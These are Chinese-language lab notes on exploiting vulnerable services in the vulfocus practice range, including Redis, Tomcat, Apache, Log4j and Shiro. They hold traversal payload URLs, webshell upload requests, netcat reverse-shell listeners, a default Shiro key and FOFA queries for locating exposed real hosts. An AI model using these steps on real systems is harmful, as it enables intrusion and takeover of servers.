安装vulfocus靶场,下载链接:https://pan.baidu.com/s/1wY6QmW5EmWaYm9u88nKF2w?pwd=d4ue
并且下载服务器攻防工具:https://pan.baidu.com/s/1UxdruKscaAPK_DuSLQuhwg?pwd=qrwc
启动靶场
登陆密码test123
注: 靶场机ifconfig必须保证和攻击机网段一致(都开网桥或者都开NAT模式)
终端执行
sudo su 输入登录密码
docker ps -a
发现9bda的虚拟机
docker start 9bda
开始实验
在攻击机的浏览器中访问靶场的ip
使用用户名:密码admin:admin登录
镜像管理–镜像管理-一键同步
redis系列服务
默认端口6379
fofa搜索 port="6379" && protocol="redis"
redis服务默认就是没有用户名和密码的
找到服务攻防工具中的redis文件夹中的Another-Redis-Desktop-Manager并安装
Redis:CVE-2022-0543
在vulfocus中搜索该环境并启动,根据弹窗中的IP和端口使用刚才安装的软件连接数据库
在软件中打开命令行模式,输入以下漏洞代码:
|
|
Redis:CNVD-2015-07557
在服务攻防工具中的redis文件夹中找到redis-rogue-server-master(CNVD-2015-07557).zip复制到kali环境下解压,使用以下命令运行:
|
|
选择reverse shell反向连接
192.168.0.106(攻击IP) 4444 此时kali开nc -lvp 4444
此时在nc可以使用一些Linux的命令
Redis:CNVD-2019-21763
同样将redis-rogue-getshell(CNVD-2019-21763).zip转移到kali环境,使用以下命令运行:
|
|
Couchdb:CVE-2017-12635(权限绕过)
开源数据库,储存数据格式json,js查询语言
数据库会开放3个端口,看谁会理你,就打谁
1、先创建用户
抓包并修改数据包
|
|
浏览器网页返回"ok":true
2、登录用户授权
http://目标IP:端口/_utils/
用户名密码
usertest1:usertest1
Couchdb:CVE-2017-12635(命令执行)
在服务攻防工具中的couchdb文件夹中找到couchdb.py,同样复制到Kali环境。
编辑该脚本,编辑目标的ip和端口和自己的ip,例如:
|
|
先用nc监听9988端口
nc -lvp 9988
再执行python couchdb.py
此时目标会反弹shell到本地,可以在nc的终端页面执行命令
h2database:CVE-2022-23221
漏洞一:未授权进入
在JDBC URL中填入:
|
|
点击connect,直接进入了后台
漏洞二:RCE执行反弹
在攻击机上创建文件h2database.sql,内容为:
|
|
在当前文件夹中启动CMD,执行python -m http.server
启动nc监听6666端口,nc -lvvp 6666
在h2database的登录窗口的JDBC URL填入:
|
|
点击connect,观察到nc上已经拿到了目标上的root终端。
Apache:CVE-2021-42013
攻击端用nc监听5566端口,nc -lvvp 5566
使用hackbarPOST一段内容,同时用burp抓包
修改数据包头(也就是第一行):POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
修改下方的POST内容:
|
|
Apache:CVE-2021-41773(目录穿越)
fafa搜索server="Apache/2.4.49"
Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。
使用Kali执行下面的命令即可:
|
|
tomcat-pass-getshell:弱口令
配置不当导致后台弱口令,可通过上传jsp压缩包改名的war拿shell
- 先爆破弱口令
- 后门压缩zip改war
- 上传war访问链接
打开网站,点击manageapp,用户名密码都是tomcat或者admin
发现WAR file to deploy
哥斯拉生成jsp木马(有效载荷是JavaDynamicPayload),压缩为zip,改名为a1.war
之后发现网站有一个/a1
地址为http://目标IP:端口/a1/a1.jsp
哥斯拉(ONE-FOX集成工具箱)连接即可(记得选相同的有效载荷)
tomcat:CVE-2017-12615(文件上传)
burp直接首页抓包,改为PUT,内容为从文件粘贴jsp木马的代码
PUT /x.jsp/
PUT /xx.jsp%20
PUT /xxx.jsp::$DATA
之后木马就在http://目标IP:端口/xxx.jsp
jenkins:CVE-2018-1000861
在服务攻防\jenkins\CVE-2018-1000861创建shell.txt内容为:
|
|
随后在同目录下执行
|
|
此时目标的/tmp/1.sh有了
攻击端使用nc监听nc -lvvp 5566
接着在刚才的目录执行
|
|
laravel:CVE-2021-3129(RCE)
要求:Laravel <= 8.4.2
进入服务攻防\Laravel\CVE-2021-3129-main
执行:
|
|
thinkphp
#Thinkphp-3.X RCE-6.X RCE
ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架
综合工具:武器库-Thinkphp专检(3-6版本)
CVE-2018-1002015
one-fox的thinkphp综合利用工具,地址写进去检测,可以检测出漏洞
选择thinkphp5.0 rce,命令写whoami即可
CNVD-2018-24942
one-fox的thinkphp综合利用工具,地址写进去检测,可以检测出漏洞
struts(s2)
Apache Struts2框架是一个使用JavaEE网络应用程序的Web框架。
可能存在OGNL表达注入扩展,从而造成远程代码执行,风险极大。
fofa搜索app="struts2"
struts2:CVE-2020-17530( 代码执行 )
要求: Apache Struts 2.0.0 - 2.5.25
找到服务攻防\struts2\s2-062-main
当前目录执行:
|
|
会出现信息
Spring(目录遍历)
0.2.13之前版本存在路径遍历漏洞,攻击者可通过该缺陷读取系统任意文件。
参考文献:https://blog.csdn.net/weixin_43165012/article/details/121152482
如果是Linux服务器
http://目标IP:端口/manage/log/view?filename=etc/passwd&base=../../../../../../
如果是windows服务器
http://目标IP:端口/manage/log/view?filename=/windows/win.ini&base=../../../../../../../
退格是为了确保退到根目录
Solr:CVE-2019-17558(命令执行)
主要基于HTTP和Apache Lucene实现的全文搜索服务器。
历史漏洞:https://avd.aliyun.com/search?q=Solr
黑盒特征:图标及端口8393
fofa搜port="8983" && title="Solr Admin"
要求: Apache Solr 5.0.0版本至8.3.1
找到服务攻防\solr\solr_rce-master
|
|
Solr:CVE-2021-27905(文件读取&SSRF)
全版本官方拒绝修复漏洞
获取数据库名
|
|
可以获取status的name为demo
访问触发
|
|
任意文件读取
|
|
shiro:CVE-2016-4437(命令执行)
ava安全框架,能够用于身份验证、授权、加密和会话管理。
历史漏洞:https://avd.aliyun.com/search?q=Shiro
黑盒特征:数据包cookie里面rememberMe
利用one-fox工具箱中的shiro-attack工具。
目标地址写http://目标IP:端口/
请求头Abc: 123,post数据a=123
爆破密钥kPH+bIxk5D2deZiIxcaaaA==
爆破利用链和回显,发现common2和AllEcho
log4j:CVE-2021-44228(远程命令执行)
Apache的一个开源项目,是一个基于Java的日志记录框架。
历史漏洞:https://avd.aliyun.com/search?q=Log4j
黑盒特征:盲打 会问蓝队攻击特征(关键词
${jndi:rmi:///osutj8})
要求: Apache Log4j2 2.0 - 2.15.0-rc1
在dnslog平台获取一个域名,制作payload
|
|
将上面的payloadURL编码后拼接在http://目标IP:端口/hello?payload=之后并访问
发现dnslog有响应,说明漏洞存在
构造第二个payload
|
|
使用base64编码后拼接在下面
|
|
nc监听nc -lvvp 5566
进入服务攻防\log4j在当前目录执行上面拼接好的命令
在命令行中返回的内容里选择tomcat 8+的地址作为payload,例如:
|
|
拼接到下面的地址中
|
|
同样把payload=后面的内容进行URL编码后直接访问,发现nc中有目标的root身份终端。